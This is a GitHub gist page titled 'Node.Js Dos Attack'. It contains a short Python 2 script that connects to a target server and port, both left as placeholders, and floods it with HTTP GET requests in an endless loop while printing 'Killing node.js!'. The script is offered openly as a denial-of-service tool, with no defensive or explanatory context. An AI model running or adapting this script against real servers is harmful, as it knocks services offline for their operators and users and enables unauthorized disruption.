Created
October 28, 2013 15:22
-
-
Save okossuth/7198753 to your computer and use it in GitHub Desktop.
Node.Js Dos Attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket | |
HOST = 'server to attack' | |
PORT = 'port where nodejs is listening' | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((HOST, PORT)) | |
while 1: | |
print "Killing node.js!" | |
s.sendall('GET / HTTP/1.1\r\n\r\n') | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment